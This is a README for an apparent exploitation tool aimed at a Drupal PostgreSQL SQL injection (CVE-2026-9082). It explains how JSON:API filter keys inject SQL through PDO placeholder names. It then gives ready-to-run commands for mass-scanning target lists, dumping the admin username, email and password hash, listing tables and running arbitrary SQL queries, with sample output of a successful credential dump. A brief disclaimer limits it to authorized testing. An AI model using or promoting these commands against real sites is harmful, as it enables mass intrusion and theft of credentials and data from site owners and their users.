CVE-2026-9082 — Drupal PostgreSQL SQL Injection

Mass Scanner & Exploitation Tool

Unauthenticated SQL Injection in Drupal Core (PostgreSQL)
JSON:API filter array key injection via PDO placeholder name abuse

Overview

CVE-2026-9082 is a Highly Critical SQL injection vulnerability in Drupal Core affecting all PostgreSQL-backed sites running Drupal 8.0 through 11.3.9. Added to the CISA Known Exploited Vulnerabilities (KEV) catalog on 2026-05-22 — actively exploited in the wild.

Impact

• Data exfiltration — extract databases, users, password hashes
• Privilege escalation — create admin accounts, modify content
• Remote code execution — in some configurations via pg_exec() or COPY ... PROGRAM

Affected Versions

How It Works

The flaw exists in core/modules/pgsql/src/EntityQuery/Condition.php. The translateCondition() method uses user-controlled array keys from JSON:API filter parameters to construct PDO placeholder names. PDO only parses [a-zA-Z0-9_] as placeholder names, so any suffix after ) becomes literal SQL injected into the query.

JSON:API Filter → array key with SQL → PDO placeholder truncation → SQL injection

Features

• ✅ Mass scanner — scan hundreds of targets concurrently
• ✅ Single target mode — check individual Drupal sites
• ✅ Time-based detection — pg_sleep() blind SQLi confirmation
• ✅ Boolean-based detection — row count comparison
• ✅ Version extraction — identify PostgreSQL version
• ✅ Database info — extract current user and database name
• ✅ Admin credential dump — username, email, password hash (uid=1)
• ✅ Table listing — enumerate all public tables
• ✅ Custom SQL queries — run any extraction query
• ✅ Proxy support — route through Burp Suite or similar
• ✅ Output to file — save mass scan results
• ✅ Colored terminal output — easy to read results

Installation

Prerequisites

• Python 3.8+
• pip (Python package manager)

Install Dependencies

# Clone the repo
git clone https://github.com/ridhinva/CVE-2026-9082.git
cd CVE-2026-9082

# Install requirements
pip install requests

That's it! Only one dependency — requests.

Usage

🕵️ Check Single Target

python3 cve_2026_9082_scanner.py -u https://target.com --check

📡 Mass Scan Multiple Targets

python3 cve_2026_9082_scanner.py -f targets.txt

targets.txt format:

https://target1.com
target2.com
192.168.1.100

🔓 Extract PostgreSQL Version

python3 cve_2026_9082_scanner.py -u https://target.com --version

🗄️ Extract Database Info

python3 cve_2026_9082_scanner.py -u https://target.com --dbinfo

👤 Dump Admin Credentials (uid=1)

python3 cve_2026_9082_scanner.py -u https://target.com --admin

📋 List All Tables

python3 cve_2026_9082_scanner.py -u https://target.com --tables

💉 Custom SQL Query

python3 cve_2026_9082_scanner.py -u https://target.com --query "SELECT usename FROM pg_catalog.pg_user"

Save Results to File

python3 cve_2026_9082_scanner.py -f targets.txt -o results.txt

Use Proxy (Burp Suite)

python3 cve_2026_9082_scanner.py -u https://target.com --check --proxy http://127.0.0.1:8080

Customize Timing

# Increase sleep time for time-based detection (default: 5s)
python3 cve_2026_9082_scanner.py -u https://target.com --check --delay 10

# Increase HTTP timeout for slow targets (default: 30s)
python3 cve_2026_9082_scanner.py -u https://target.com --check --timeout 60

Command Reference

Example Output

Vulnerable Target

╔══════════════════════════════════════════════════════════════╗
║          CVE-2026-9082 - Drupal PostgreSQL SQLi             ║
║       Mass Scanner + Exploitation Tool v1.0.0               ║
╚══════════════════════════════════════════════════════════════╝
  CISA KEV: Added 2026-05-22  |  Advisory: SA-CORE-2026-004

[*] Checking: https://vulnerable-drupal-site.com

[!!] VULNERABLE - https://vulnerable-drupal-site.com
      Method: time-based (+5.2s)
      Resource: node/article

Admin Credential Dump

[+] username: admin
[+] email: [email protected]
[+] pass_hash: $S$E8gJ8yJ8...hashed_password...

References

⚠️ Disclaimer

This tool is for authorized security testing, educational purposes, and ethical research only.

Unauthorized access to computer systems is illegal. The authors assume no liability and are not responsible for any misuse or damage caused by this program.

Author

Ridhin V A (@ridhinva) — Bug bounty hunter & security researcher

_{Built because CISA KEV said it's being exploited in the wild. Patch your Drupal sites.}